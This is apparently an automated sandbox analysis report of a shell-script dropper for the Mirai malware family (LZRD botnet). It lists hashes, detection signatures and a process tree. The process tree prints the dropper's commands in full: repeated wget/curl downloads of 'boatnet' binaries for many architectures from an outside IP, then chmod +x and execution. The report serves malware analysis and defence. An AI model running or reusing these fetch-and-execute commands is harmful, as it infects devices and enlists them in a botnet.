Analysis

  • max time kernel
    149s
  • max time network
    137s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26-01-2025 03:58

General

  • Target

    c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh

  • Size

    2KB

  • MD5

    17dd5d8084206f6fc1220c00f306c8a7

  • SHA1

    f5a1e23a8ec3c955a188c5f0e8487323046589bb

  • SHA256

    c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee

  • SHA512

    39bc89258fa7fd88b67e530d7f2b0a65aacfaf4c93c102bddc9e4bfafbe5b9f5047a3ab54ca05feade7398a2a52be1c59ce29241ab1093f2f0de331c0106600a

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 53 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh
    /tmp/c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:732
    • /usr/bin/wget
      wget http://154.62.226.5/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:735
    • /usr/bin/curl
      curl -O http://154.62.226.5/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:750
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:758
      • /bin/chmod
        chmod +x boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:759
      • /tmp/WTF
        ./WTF
        2⤵
          PID:761
        • /usr/bin/wget
          wget http://154.62.226.5/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:764
        • /usr/bin/curl
          curl -O http://154.62.226.5/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:766
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:767
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:768
        • /tmp/WTF
          ./WTF
          2⤵
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:769
        • /usr/bin/wget
          wget http://154.62.226.5/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:773
        • /usr/bin/curl
          curl -O http://154.62.226.5/hiddenbin/boatnet.arc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:774
        • /bin/cat
          cat boatnet.arc
          2⤵
            PID:775
          • /bin/chmod
            chmod +x boatnet.arc boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
            2⤵
            • File and Directory Permissions Modification
            PID:776
          • /tmp/WTF
            ./WTF
            2⤵
              PID:777
            • /usr/bin/wget
              wget http://154.62.226.5/hiddenbin/boatnet.i468
              2⤵
                PID:779
              • /usr/bin/curl
                curl -O http://154.62.226.5/hiddenbin/boatnet.i468
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:780
              • /bin/cat
                cat boatnet.i468
                2⤵
                  PID:781
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:782
                • /tmp/WTF
                  ./WTF
                  2⤵
                    PID:783
                  • /usr/bin/wget
                    wget http://154.62.226.5/hiddenbin/boatnet.i686
                    2⤵
                      PID:785
                    • /usr/bin/curl
                      curl -O http://154.62.226.5/hiddenbin/boatnet.i686
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:790
                    • /bin/cat
                      cat boatnet.i686
                      2⤵
                        PID:799
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:800
                      • /tmp/WTF
                        ./WTF
                        2⤵
                          PID:802
                        • /usr/bin/wget
                          wget http://154.62.226.5/hiddenbin/boatnet.x86_64
                          2⤵
                            PID:803
                          • /usr/bin/curl
                            curl -O http://154.62.226.5/hiddenbin/boatnet.x86_64
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:810
                          • /bin/cat
                            cat boatnet.x86_64
                            2⤵
                              PID:817
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:819
                            • /tmp/WTF
                              ./WTF
                              2⤵
                                PID:820
                              • /usr/bin/wget
                                wget http://154.62.226.5/hiddenbin/boatnet.mpsl
                                2⤵
                                • Writes file to tmp directory
                                PID:822
                              • /usr/bin/curl
                                curl -O http://154.62.226.5/hiddenbin/boatnet.mpsl
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:830
                              • /bin/cat
                                cat boatnet.mpsl
                                2⤵
                                  PID:840
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:841
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                    PID:842
                                  • /usr/bin/wget
                                    wget http://154.62.226.5/hiddenbin/boatnet.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:844
                                  • /usr/bin/curl
                                    curl -O http://154.62.226.5/hiddenbin/boatnet.arm
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:846
                                  • /bin/cat
                                    cat boatnet.arm
                                    2⤵
                                      PID:847
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:848
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:849
                                      • /usr/bin/wget
                                        wget http://154.62.226.5/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:851
                                      • /usr/bin/curl
                                        curl -O http://154.62.226.5/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:852
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:853
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:854
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:855
                                          • /usr/bin/wget
                                            wget http://154.62.226.5/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:857
                                          • /usr/bin/curl
                                            curl -O http://154.62.226.5/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:858
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:867
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:868
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:870
                                              • /usr/bin/wget
                                                wget http://154.62.226.5/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:873
                                              • /usr/bin/curl
                                                curl -O http://154.62.226.5/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:880
                                              • /bin/cat
                                                cat boatnet.arm7
                                                2⤵
                                                  PID:889
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:891
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:892
                                                  • /usr/bin/wget
                                                    wget http://154.62.226.5/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:895
                                                  • /usr/bin/curl
                                                    curl -O http://154.62.226.5/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:900
                                                  • /bin/cat
                                                    cat boatnet.ppc
                                                    2⤵
                                                      PID:901
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh systemd-private-5c51cd5e1e2d4a4f8f9ba4afe13f6cd6-systemd-timedated.service-rXFjx3 WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:902
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:903
                                                      • /usr/bin/wget
                                                        wget http://154.62.226.5/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:905
                                                      • /usr/bin/curl
                                                        curl -O http://154.62.226.5/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:906
                                                      • /bin/cat
                                                        cat boatnet.spc
                                                        2⤵
                                                          PID:910
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:911
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:912
                                                          • /usr/bin/wget
                                                            wget http://154.62.226.5/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:914
                                                          • /usr/bin/curl
                                                            curl -O http://154.62.226.5/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:915
                                                          • /bin/cat
                                                            cat boatnet.m68k
                                                            2⤵
                                                              PID:916
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:917
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:918
                                                              • /usr/bin/wget
                                                                wget http://154.62.226.5/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:920
                                                              • /usr/bin/curl
                                                                curl -O http://154.62.226.5/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:921
                                                              • /bin/cat
                                                                cat boatnet.sh4
                                                                2⤵
                                                                  PID:922
                                                                • /bin/chmod
                                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 c2714ff4ee98f85de0bb1db36fe0686bd252712fb57eddc3feb4638903c288ee.sh WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:923
                                                                • /tmp/WTF
                                                                  ./WTF
                                                                  2⤵
                                                                    PID:924

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  23KB

                                                                  MD5

                                                                  a707c2e2633e0a7e1802bc418d61cff7

                                                                  SHA1

                                                                  41bda3be4058fe487cec6ccd716354d4c5fb6e16

                                                                  SHA256

                                                                  5366ef37d482d37f05ed7b3138b83579dd35c0a47e21bf5df63c9a7b24be40ac

                                                                  SHA512

                                                                  61eb40201080dbc1cc649197a0be1d781c082e92014ae4383bd6a5d5f55a3fa1887f17359a40116849e5e97c97c9d0c0b2a818250437ddac17c93d7ea0f98f8d

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  105KB

                                                                  MD5

                                                                  472d4d75d8483fc824eb0911b4c35cad

                                                                  SHA1

                                                                  dec4becfa3f99006d6af3b64efd0dcbd58e46174

                                                                  SHA256

                                                                  c9d1873aac242b154ee98234fda07a10e4fcd3f91fe0f1c6a9d9eebdbfceddf9

                                                                  SHA512

                                                                  ff76fd61dd6bbae41ce5fe1d346975a44bfc339c50c5f58b0a7eee42c041bdad7bc4bd63cffa35326a0ac53362eba07bdfe6b36cd64af1a0d9d7bc03dad17e2e

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                                  SHA1

                                                                  750274b02d5f5b00026a4f55b020f4285c693533

                                                                  SHA256

                                                                  219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                                  SHA512

                                                                  36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  a8f502a6fb3b7b940e922c951d9e493a

                                                                  SHA1

                                                                  fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                                  SHA256

                                                                  748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                                  SHA512

                                                                  e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  57KB

                                                                  MD5

                                                                  0fb4998f9591c180f42880840eff18a6

                                                                  SHA1

                                                                  615524375f2333da6f4e16e8da6d0954261f7f2d

                                                                  SHA256

                                                                  8f32360b655bb39a1e4a2dc1d6d018da9e18714ac36192f1b9976dceb4baef42

                                                                  SHA512

                                                                  705b676abe24a66dfe7307b3e1c320442dcc7f68f068f5fe9b6ea3b26997854d28e48fb094dc10f0d5522fe4e525858772ab8f75aefd08f8cb27d4587daffb97

                                                                • /tmp/boatnet.x86

                                                                  Filesize

                                                                  20KB

                                                                  MD5

                                                                  fe554c823518892cc1b87337370a3211

                                                                  SHA1

                                                                  b605736332547cf5a8e4a62c768e2f6ea2eaa765

                                                                  SHA256

                                                                  d8f3b3cd5de4a9bfd20c3de51b11620399077c6b368e99229638f8c9f80bcf49

                                                                  SHA512

                                                                  98882754405039d2d997bb82d733398cb85c38866eac26fe830a02d50e9f1319489e2940eed73f6c240430c8fdad98dc5a2f9be831a84a8813600785db327fc8